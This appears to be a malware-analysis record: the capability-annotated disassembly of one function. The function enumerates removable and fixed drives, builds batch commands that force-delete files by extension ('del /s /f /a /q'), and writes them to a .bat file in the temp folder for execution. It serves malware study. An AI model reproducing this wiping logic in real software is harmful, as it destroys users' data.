Function at 0x403981
Capabilities:
Get disk information
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9f8
mov eax, dword [str.set_Mr9del_n]
mov dword [ebp - 0x918], eax
mov eax, dword [0x40a436]
mov dword [ebp - 0x914], eax
mov eax, dword [0x40a43a]
mov dword [ebp - 0x910], eax
movzx eax, word [0x40a43e]
mov word [ebp - 0x90c], ax
lea edx, [ebp - 0x90a]
mov eax, 0x3f2
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], edx
call sub.ntdll.dll_memset
lea ecx, [ebp - 0x9c8]
mov edx, str..ra
mov eax, 0xa8
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp], ecx
call sub.ntdll.dll_memcpy
mov dword [ebp - 0x9cc], 0
mov dword [ebp - 0x9d0], 0
mov dword [esp + 8], 0x100
mov dword [esp + 4], 0
lea eax, [ebp - 0x108]
mov dword [esp], eax
call sub.ntdll.dll_memset
lea eax, [ebp - 0x108]
mov dword [esp + 4], eax
mov dword [esp], 0x100
call sub.KERNEL32.dll_GetLogicalDriveStringsA
sub esp, 8
mov dword [ebp - 0x9cc], 0x100
cmp dword [ebp - 0x9cc], 0
js 0x403b82
lea eax, [ebp - 8]
add eax, dword [ebp - 0x9cc]
sub eax, 0x100
cmp byte [eax], 0
je 0x403b74
lea eax, [ebp - 8]
add eax, dword [ebp - 0x9cc]
sub eax, 0x100
movsx eax, byte [eax]
mov dword [esp], eax
call sub.ntdll.dll_tolower
cmp eax, 0x61
je 0x403b74
lea eax, [ebp - 8]
add eax, dword [ebp - 0x9cc]
sub eax, 0x100
movsx eax, byte [eax]
mov dword [esp + 8], eax
mov dword [esp + 4], str._c:_
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sub.KERNEL32.dll_GetDriveTypeA
sub esp, 4
cmp eax, 2
je 0x403aef
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sub.KERNEL32.dll_GetDriveTypeA
sub esp, 4
cmp eax, 3
je 0x403aef
jmp 0x403b74
mov dword [ebp - 0x9d0], 0
cmp dword [ebp - 0x9d0], 0x14
jg 0x403b74
mov dword [esp + 4], str._Mr9___s__f__a__q
lea eax, [ebp - 0x918]
mov dword [esp], eax
call sub.ntdll.dll_strcat
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
lea eax, [ebp - 0x918]
mov dword [esp], eax
call sub.ntdll.dll_strcat
lea edx, [ebp - 0x9c8]
mov eax, dword [ebp - 0x9d0]
shl eax, 3
lea eax, [edx + eax]
mov dword [esp + 4], eax
lea eax, [ebp - 0x918]
mov dword [esp], eax
call sub.ntdll.dll_strcat
mov dword [esp + 4], 0x40a845
lea eax, [ebp - 0x918]
mov dword [esp], eax
call sub.ntdll.dll_strcat
lea eax, [ebp - 0x9d0]
inc dword [eax]
jmp 0x403af9
lea eax, [ebp - 0x9cc]
sub dword [eax], 4
jmp 0x403a4d
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x518]
mov dword [esp], eax
call sub.ntdll.dll_memset
mov dword [esp], str.temp
call sub.msvcrt.dll_getenv
mov dword [esp + 4], eax
lea eax, [ebp - 0x518]
mov dword [esp], eax
call sub.ntdll.dll_strcpy
lea eax, [ebp - 0x518]
mov dword [esp], eax
call fcn.004044fe
mov dword [esp + 4], 9
lea eax, [ebp - 0x108]
mov dword [esp], eax
call fcn.00402f0a
mov dword [esp + 4], eax
lea eax, [ebp - 0x518]
mov dword [esp], eax
call sub.ntdll.dll_strcat
mov dword [esp + 4], str..bat
lea eax, [ebp - 0x518]
mov dword [esp], eax
call sub.ntdll.dll_strcat
lea eax, [ebp - 0x918]
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x40a388
lea eax, [ebp - 0x918]
mov dword [esp + 4], eax
lea eax, [ebp - 0x518]
mov dword [esp], eax
call fcn.00403230
mov dword [esp + 4], 0
lea eax, [ebp - 0x518]
mov dword [esp], eax
call fcn.00402b9d
leave
ret